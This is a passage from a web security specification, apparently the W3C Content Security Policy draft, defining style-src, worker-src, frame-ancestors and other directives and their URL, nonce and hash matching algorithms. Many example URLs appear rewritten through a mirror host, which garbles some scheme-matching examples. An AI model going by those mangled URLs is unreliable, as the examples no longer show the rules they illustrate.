    3. Stylesheet requests originating from a Link HTTP response header field [RFC8288].

  2. Responses to style requests MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.

  3. Inline style blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a style-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

  4. The following CSS algorithms are gated on the unsafe-eval source expression:

    1. insert a CSS rule

    2. parse a CSS rule,

    3. parse a CSS declaration block

    4. parse a group of selectors

    This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML].

    This needs to be better explained. [Issue #w3c/webappsec-csp#212]

6.1.13.1. style-src Pre-request Check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

  4. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.13.2. style-src Post-request Check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

  4. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.13.3. style-src Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

This directive’s initialization algorithm is as follows:

Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.

6.1.14. style-src-elem

The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "style-src-elem"
directive-value = serialized-source-list

The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.

6.1.14.1. style-src-elem Pre-request Check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

  4. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.14.2. style-src-elem Post-request Check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

  4. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.14.3. style-src-elem Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.15. style-src-attr

The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "style-src-attr"
directive-value = serialized-source-list

The style-src-attr directive governs the behaviour of style attributes.

6.1.15.1. style-src-attr Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, style-src-attr and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.2. Other Directives

6.2.1. webrtc

The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"
Given a page with the following Content Security Policy: 
Content-Security-Policy: webrtc 'block'

No local ICE candidates will be surfaced, as no STUN checks will be made against the ICE server provided to the peer connection negotiated below; No connectivity-checks will be attempted to any remote candidates provided by JS; The connectionState will never transition to "connected" and instead transition directly from its initial state of "new" to "failed" shortly. Attempts to pc.restartIce() will repeat this outcome.

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>
6.2.1.1. webrtc Pre-connect Check

This directive’s webrtc pre-connect check is as follows:

  1. If this directive’s value contains a single item which is an ASCII case-insensitive match for the string "'allow'", return "Allowed".

  2. Return "Blocked".

6.2.2. worker-src

The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "worker-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy: 
Content-Security-Policy: worker-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match worker-src’s source list:

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.2.2.1. worker-src Pre-request Check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.2.2.2. worker-src Post-request Check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.3. Document Directives

The following directives govern the properties of a document or worker environment to which a policy applies.

6.3.1. base-uri

The base-uri directive restricts the URLs which can be used in a Document's base element. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "base-uri"
directive-value = serialized-source-list

The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:

6.3.1.1. Is base allowed for document?

Given a URL base, and a Document document, this algorithm returns "Allowed" if base may be used as the value of a base element’s href attribute, and "Blocked" otherwise:

  1. For each policy of document’s global object’s csp list:

    1. Let source list be null.

    2. If a directive whose name is "base-uri" is present in policy’s directive set, set source list to that directive’s value.

    3. If source list is null, skip to the next policy.

    4. If the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on base, source list, policy’s self-origin, and 0 is "Does Not Match":

      1. Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on document’s global object, policy, and "base-uri".

      2. Set violation’s resource to "inline".

      3. Execute § 5.5 Report a violation on violation.

      4. If policy’s disposition is "enforce", return "Blocked".

    Note: We compare against the fallback base URL in order to deal correctly with things like an iframe srcdoc Document which has been sandboxed into an opaque origin.

  2. Return "Allowed".

6.3.2. sandbox

The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.

The directive’s syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the iframe sandbox attribute [HTML].

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.

6.3.2.1. sandbox Initialization

This directive’s initialization algorithm is responsible for checking whether a worker is allowed to run according to the sandbox values present in its policies as follows:

Note: The sandbox directive is also responsible for adjusting a Document's active sandboxing flag set via the CSP-derived sandboxing flags.

Given a Document or global object context and a policy policy:

  1. If policy’s disposition is not "enforce", or context is not a WorkerGlobalScope, then abort this algorithm.

  2. Let sandboxing flag set be a new sandboxing flag set.

  3. Parse a sandboxing directive using this directive’s value as the input, and sandboxing flag set as the output.

  4. If sandboxing flag set contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "Blocked".

    Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.

  5. Return "Allowed".

6.4. Navigation Directives

6.4.1. form-action

The form-action directive restricts the URLs which can be used as the target of a form submissions from a given context. The directive’s syntax is described by the following ABNF grammar:

directive-name  = "form-action"
directive-value = serialized-source-list
6.4.1.1. form-action Pre-Navigation Check

Given a request request, a string navigation type ("form-submission" or "other"), and a policy policy this algorithm returns "Blocked" if a form submission violates the form-action directive’s constraints, and "Allowed" otherwise. This constitutes the form-action directive’s pre-navigation check:

  1. Assert: policy is unused in this algorithm.

  2. If navigation type is "form-submission":

    1. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and a policy, is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.4.2. frame-ancestors

The frame-ancestors directive restricts the URLs which can embed the resource using frame, iframe, object, or embed. Resources can use this directive to avoid many UI Redressing [UISECURITY] attacks, by avoiding the risk of being embedded into potentially hostile contexts.

The directive’s syntax is described by the following ABNF grammar:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

The frame-ancestors directive MUST be ignored when contained in a policy declared via a meta element.

Note: The frame-ancestors directive’s syntax is similar to a source list, but frame-ancestors will not fall back to the default-src directive’s value if one is specified. That is, a policy that declares default-src 'none' will still allow the resource to be embedded by anyone.

6.4.2.1. frame-ancestors Navigation Response Check

Given a request request, a string navigation type ("form-submission" or "other"), a response navigation response, a navigable target, a string check type ("source" or "response"), and a policy policy this algorithm returns "Blocked" if one or more of the ancestors of target violate the frame-ancestors directive delivered with the response, and "Allowed" otherwise. This constitutes the frame-ancestors directive’s navigation response check:

  1. If navigation response’s URL is local, return "Allowed".

  2. Assert: request, navigation response, and navigation type, are unused from this point forward in this algorithm, as frame-ancestors is concerned only with navigation response’s frame-ancestors directive.

  3. If check type is "source", return "Allowed".

    Note: The 'frame-ancestors' directive is relevant only to the target navigable and it has no impact on the request’s context.

  4. If target is not a child navigable, return "Allowed".

  5. Let current be target.

  6. While current is a child navigable:

    1. Let document be current’s container document.

    2. Let origin be the result of executing the URL parser on the ASCII serialization of document’s origin.

    3. If § 6.7.2.7 Does url match source list in origin with redirect count? returns Does Not Match when executed upon origin, this directive’s value, policy’s self-origin, and 0, return "Blocked".

    4. Set current to document’s node navigable.

  7. Return "Allowed".

6.4.2.2. Relation to ``X-Frame-Options``

This directive is similar to the ``X-Frame-Options`` HTTP response header. The 'none' source expression is roughly equivalent to that header’s `DENY`, and 'self' to that header’s `SAMEORIGIN`. [HTML]

In order to allow backwards-compatible deployment, the frame-ancestors directive obsoletes the ``X-Frame-Options`` header. If a resource is delivered with a policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the ``X-Frame-Options`` header will be ignored, per HTML’s processing model.

6.5. Reporting Directives

Various algorithms in this document hook into the reporting process by constructing a violation object via § 2.4.2 Create a violation object for request, and policy. or § 2.4.1 Create a violation object for global, policy, and directive, and passing that object to § 5.5 Report a violation to deliver the report.

6.5.1. report-uri

Note: The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this: 
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

The report-uri directive defines a set of endpoints to which csp violation reports will be sent when particular behaviors are prevented.

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )

; The uri-reference grammar is defined in Section 4.1 of RFC 3986.

The directive has no effect in and of itself, but only gains meaning in combination with other directives.

6.5.2. report-to

The report-to directive defines a reporting endpoint to which violation reports ought to be sent [REPORTING]. The directive’s behavior is defined in § 5.5 Report a violation. The directive’s name and value are described by the following ABNF:

directive-name  = "report-to"
directive-value = token

6.6. Directives Defined in Other Documents

This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:

Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of that document.

New directives SHOULD use the pre-request check, post-request check, and initialization hooks in order to integrate themselves into Fetch and HTML.

6.7. Matching Algorithms

6.7.1. Script directive checks

6.7.1.1. Script directives pre-request check

Given a request request, a directive directive, and a policy policy:

  1. If request’s destination is script-like:

    1. If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

    2. If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "Matches", return "Allowed".

    3. If directive’s value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source:

      1. If the request’s parser metadata is "parser-inserted", return "Blocked".

        Otherwise, return "Allowed".

        Note: "'strict-dynamic'" is explained in more detail in § 8.2 Usage of "'strict-dynamic'".

    4. If the result of executing § 6.7.2.5 Does request match source list? on request, directive’s value, and policy, is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.7.1.2. Script directives post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, a directive directive, and a policy policy:

  1. If request’s destination is script-like:

    1. If the result of executing § 6.7.2.3 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

    2. If the result of executing § 6.7.2.4 Does integrity metadata match source list? on request’s integrity metadata and this directive’s value is "Matches", return "Allowed".

    3. If directive’s value contains "'strict-dynamic'":

      1. If request’s parser metadata is not "parser-inserted", return "Allowed".

        Otherwise, return "Blocked".

    4. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, directive’s value, and policy, is "Does Not Match", return "Blocked".

  2. Return "Allowed".

6.7.2. URL Matching

6.7.2.1. Does request violate policy?

Given a request request and a policy policy, this algorithm returns the violated directive if the request violates the policy, and "Does Not Violate" otherwise.

  1. If request’s initiator is "prefetch", then return the result of executing § 6.7.2.2 Does resource hint request violate policy? on request and policy.

  2. Let violates be "Does Not Violate".

  3. For each directive of policy:

    1. Let result be the result of executing directive’s pre-request check on request and policy.

    2. If result is "Blocked", then let violates be directive.

  4. Return violates.

6.7.2.2. Does resource hint request violate policy?

Given a request request and a policy policy, this algorithm returns the default directive if the resource-hint request violates all the policies, and "Does Not Violate" otherwise.

  1. Let defaultDirective be policy’s first directive whose name is "default-src".

  2. If defaultDirective does not exist, return "Does Not Violate".

  3. For each directive of policy:

    1. Let result be the result of executing directive’s pre-request check on request and policy.

    2. If result is "Allowed", then return "Does Not Violate".

  4. Return defaultDirective.

6.7.2.3. Does nonce match source list?

Given a request’s cryptographic nonce metadata nonce and a source list source list, this algorithm returns "Matches" if the nonce matches one or more source expressions in the list, and "Does Not Match" otherwise:

  1. Assert: source list is not null.

  2. If nonce is the empty string, return "Does Not Match".

  3. For each expression of source list:

    1. If expression matches the nonce-source grammar, and nonce is identical to expression’s base64-value part, return "Matches".

  4. Return "Does Not Match".

6.7.2.4. Does integrity metadata match source list?

Given a request’s integrity metadata integrity metadata and a source list source list, this algorithm returns "Matches" if the integrity metadata matches one or more source expressions in the list, and "Does Not Match" otherwise:

  1. Assert: source list is not null.

  2. Let integrity expressions be the set of source expressions in source list that match the hash-source grammar.

  3. If integrity expressions is empty, return "Does Not Match".

  4. Let integrity sources be the result of executing the algorithm defined in SRI § 3.3.3 Parse metadata. on integrity metadata. [SRI]

  5. If integrity sources is "no metadata" or an empty set, return "Does Not Match".

  6. For each source of integrity sources:

    1. If integrity expressions does not contain a source expression whose hash-algorithm is an ASCII case-insensitive match for source’s hash-algorithm, and whose base64-value is identical to source’s base64-value, return "Does Not Match".

  7. Return "Matches".

Note: Here, we verify only whether the integrity metadata is a non-empty subset of the hash-source sources in source list. We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.

6.7.2.5. Does request match source list?

Given a request request, a source list source list, and a policy policy, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on request’s current url, source list, policy’s self-origin, and request’s redirect count.

Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.

6.7.2.6. Does response to request match source list?

Given a request request, and a source list source list, and a policy policy, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on response’s url, source list, policy’s self-origin, and request’s redirect count.

Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.

6.7.2.7. Does url match source list in origin with redirect count?

Given a URL url, a source list source list, an origin origin, and a number redirect count, this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:

  1. Assert: source list is not null.

  2. If source list is empty, return "Does Not Match".

  3. If source list’s size is 1, and source list[0] is an ASCII case-insensitive match for the string "'none'", return "Does Not Match".

    Note: An empty source list (that is, a directive without a value: script-src, as opposed to script-src host1) is equivalent to a source list containing 'none', and will not match any URL.

    Note: The 'none' keyword has no effect when other source expressions are present. That is, the list « 'none' » does not match any URL. A list consisting of « 'none', https://example.com », on the other hand, would match https://example.com/.

  4. For each expression of source list:

    1. If § 6.7.2.8 Does url match expression in origin with redirect count? returns "Matches" when executed upon url, expression, origin, and redirect count, return "Matches".

  5. Return "Does Not Match".

6.7.2.8. Does url match expression in origin with redirect count?

Given a URL url, a source expression expression, an origin origin, and a number redirect count, this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.

Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.

  1. If expression is the string "*", return "Matches" if one or more of the following conditions is met:

    1. url’s scheme is an HTTP(S) scheme.

    2. url’s scheme is the same as origin’s scheme.

    Note: This logic means that in order to allow a resource from a non-HTTP(S) scheme, it has to be either explicitly specified (e.g. default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme.

  2. If expression matches the scheme-source or host-source grammar:

    1. If expression has a scheme-part, and it does not scheme-part match url’s scheme, return "Does Not Match".

    2. If expression matches the scheme-source grammar, return "Matches".

  3. If expression matches the host-source grammar:

    1. If url’s host is null, return "Does Not Match".

    2. If expression does not have a scheme-part, and origin’s scheme does not scheme-part match url’s scheme, return "Does Not Match".

      Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.

    3. If expression’s host-part does not host-part match url’s host, return "Does Not Match".

    4. Let port-part be expression’s port-part if present, and null otherwise.

    5. If port-part does not port-part match url, return "Does Not Match".

    6. If expression contains a non-empty path-part, and redirect count is 0, then:

      1. Let path be the resulting of joining url’s path on the U+002F SOLIDUS character (/).

      2. If expression’s path-part does not path-part match path, return "Does Not Match".

    7. Return "Matches".

  4. If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:

    1. origin is the same as url’s origin

    2. origin’s host is the same as url’s host, origin’s port and url’s port are either the same or the default ports for their respective schemes, and one or more of the following conditions is met:

      1. url’s scheme is "https" or "wss"

      2. origin’s scheme is "http" and url’s scheme is "http" or "ws"

    Note: Like the scheme-part logic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed.

  5. Return "Does Not Match".

6.7.2.9. scheme-part matching

An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".

Note: The matching relation is asymmetric. For example, the source expressions https: and https://example.com/ do not match the URL http://example.com/. We always allow a secure upgrade from an explicitly insecure expression. script-src http: is treated as equivalent to script-src http: https:, script-src http://example.com to script-src http://example.com https://example.com, and connect-src ws: to connect-src ws: wss:.

More formally, two ASCII strings A and B are said to scheme-part match if the following algorithm returns "Matches":

  1. If one of the following is true, return "Matches":

    1. A is an ASCII case-insensitive match for B.

    2. A is an ASCII case-insensitive match for "http", and B is an ASCII case-insensitive match for "https".

    3. A is an ASCII case-insensitive match for "ws", and B is an ASCII case-insensitive match for "wss", "http", or "https".

    4. A is an ASCII case-insensitive match for "wss", and B is an ASCII case-insensitive match for "https".

  2. Return "Does Not Match".

6.7.2.10. host-part matching

An ASCII string host-part matches a host if a CSP source expression that contained the first as a host-part could potentially match the latter. For example, we say that "www.example.com" host-part matches "www.example.com".

More formally, ASCII string pattern and host host are said to host-part match if the following algorithm returns "Matches":

Note: The matching relation is asymmetric. That is, pattern matching host does not mean that host will match pattern. For example, *.example.com host-part matches www.example.com, but www.example.com does not host-part match *.example.com.

Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

  1. If host is not a domain, return "Does Not Match".

  2. If pattern is "*", return "Matches".

  3. If pattern starts with "*.":

    1. Let remaining be pattern with the leading U+002A (*) removed and ASCII lowercased.

    2. If host to ASCII lowercase ends with remaining, then return "Matches".

    3. Return "Does Not Match".

  4. If pattern is not an ASCII case-insensitive match for host, return "Does Not Match".

  5. Return "Matches".

6.7.2.11. port-part matching

An ASCII string input port-part matches URL url if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latter’s port and scheme. For example, "80" port-part matches matches http://example.com.

  1. Assert: input is the empty string, "*", or a sequence of ASCII digits.

  2. If input is equal to "*", return "Matches".

  3. Let normalizedInput be null if input is the empty string; otherwise input interpreted as decimal number.

  4. If normalizedInput equals url’s port, return "Matches".

  5. If url’s port is null:

    1. Let defaultPort be the default port for url’s scheme.

    2. If normalizedInput equals defaultPort, return "Matches".

  6. Return "Does Not Match".

6.7.2.12. path-part matching

An ASCII string path A path-part matches another ASCII string path B if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".

Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.

  1. If path A is the empty string, return "Matches".

  2. If path A consists of one character that is equal to the U+002F SOLIDUS character (/) and path B is the empty string, return "Matches".

  3. Let exact match be false if the final character of path A is the U+002F SOLIDUS character (/), and true otherwise.

  4. Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (/).

  5. If path list A has more items than path list B, return "Does Not Match".

  6. If exact match is true, and path list A does not have the same number of items as path list B, return "Does Not Match".

  7. If exact match is false:

    1. Assert: the final item in path list A is the empty string.

    2. Remove the final item from path list A.

  8. For each piece A of path list A:

    1. Let piece B be the next item in path list B.

    2. Let decoded piece A be the percent-decoding of piece A.

    3. Let decoded piece B be the percent-decoding of piece B.

    4. If decoded piece A is not decoded piece B, return "Does Not Match".

  9. Return "Matches".

6.7.3. Element Matching Algorithms

6.7.3.1. Is element nonceable?

Given an Element element, this algorithm returns "Nonceable" if a nonce-source expression can match the element (as discussed in § 7.2 Nonce Hijacking), and "Not Nonceable" if such expressions should not be applied.

  1. If element does not have an attribute named "nonce", return "Not Nonceable".

  2. If element is a script element, then for each attribute of element’s attribute list:

    1. If attribute’s name contains an ASCII case-insensitive match for "<script" or "<style", return "Not Nonceable".

    2. If attribute’s value contains an ASCII case-insensitive match for "<script" or "<style", return "Not Nonceable".

  3. If element had a duplicate-attribute parse error during tokenization, return "Not Nonceable".

    We need some sort of hook in HTML to record this error if we’re planning on using it here. [Issue #whatwg/html#3257]

  4. Return "Nonceable".

This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. [Issue #w3c/webappsec-csp#98]

6.7.3.2. Does a source list allow all inline behavior for type?

A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that expression as described in the following algorithm:

Given a source list list and a string type, the following algorithm returns "Allows" if all inline content of a given type is allowed and "Does Not Allow" otherwise.

  1. Let allow all inline be false.

  2. For each expression of list:

    1. If expression matches the nonce-source or hash-source grammar, return "Does Not Allow".

    2. If type is "script", "script attribute" or "navigation" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".

      Note: 'strict-dynamic' only applies to scripts, not other resource types. Usage is explained in more detail in § 8.2 Usage of "'strict-dynamic'".

    3. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-inline'", set allow all inline to true.

  3. If allow all inline is true, return "Allows". Otherwise, return "Does Not Allow".

Source lists that allow all inline behavior: 
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

Source lists that do not allow all inline behavior due to the presence of nonces and/or hashes, or absence of 'unsafe-inline':

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

Source lists that do not allow all inline behavior when type is 'script' or 'script attribute' due to the presence of 'strict-dynamic', but allow all inline behavior otherwise:

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. Does element match source list for type and source?

Given an Element element, a source list list, a string type, and a string source, this algorithm returns "Matches" or "Does Not Match".

Note: Regardless of the encoding of the document, source will be converted to UTF-8 before applying any hashing algorithms.

  1. If § 6.7.3.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, return "Matches".

  2. If type is "script" or "style", and § 6.7.3.1 Is element nonceable? returns "Nonceable" when executed upon element:

    1. For each expression of list:

      1. If expression matches the nonce-source grammar, and element has a nonce attribute whose value is expression’s base64-value part, return "Matches".

    Note: Nonces only apply to inline script and inline style, not to attributes of either element or to javascript: navigations.

  3. Let unsafe-hashes flag be false.

  4. For each expression of list:

    1. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-hashes'", set unsafe-hashes flag to true. Break out of the loop.

  5. If type is "script" or "style", or unsafe-hashes flag is true:

    1. Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source.

    2. For each expression of list:

      1. If expression matches the hash-source grammar:

        1. Let algorithm be null.

        2. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.

        3. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.

        4. If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.

        5. If algorithm is not null:

          1. Let actual be the result of base64 encoding the result of applying algorithm to source.

          2. Let expected be expression’s base64-value part, with all '-' characters replaced with '+', and all '_' characters replaced with '/'.

            Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.

          3. If actual is identical to expected, return "Matches".

    Note: Hashes apply to inline script and inline style. If the "'unsafe-hashes'" source expression is present, they will also apply to event handlers, style attributes and javascript: navigations.

This should handle 'strict-dynamic' for dynamically inserted inline scripts. [Issue #w3c/webappsec-csp#426]

  1. Return "Does Not Match".

6.8. Directive Algorithms

6.8.1. Get the effective directive for request

Each fetch directive controls a specific destination of request. Given a request request, the following algorithm returns either null or the name of the request’s effective directive:

  1. If request’s initiator is "prefetch" or "prerender", return default-src.

  2. Switch on request’s destination, and execute the associated steps:

    the empty string

    1. Return connect-src.

    "manifest"

    1. Return manifest-src.

    "object"
    "embed"

    1. Return object-src.

    "frame"
    "iframe"

    1. Return frame-src.

    "audio"
    "track"
    "video"

    1. Return media-src.

    "font"

    1. Return font-src.

    "image"

    1. Return img-src.

    "style"

    1. Return style-src-elem.

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"

    1. Return script-src-elem.

    "serviceworker"
    "sharedworker"
    "worker"

    1. Return worker-src.

    "json"
    "webidentity"

    1. Return connect-src.

    "report"

    1. Return null.

  3. Return connect-src.

Note: The algorithm returns connect-src as a default fallback. This is intended for new fetch destinations that are added and which don’t explicitly fall into one of the other categories.

6.8.2. Get the effective directive for inline checks

Given a string type, this algorithm returns the name of the effective directive.

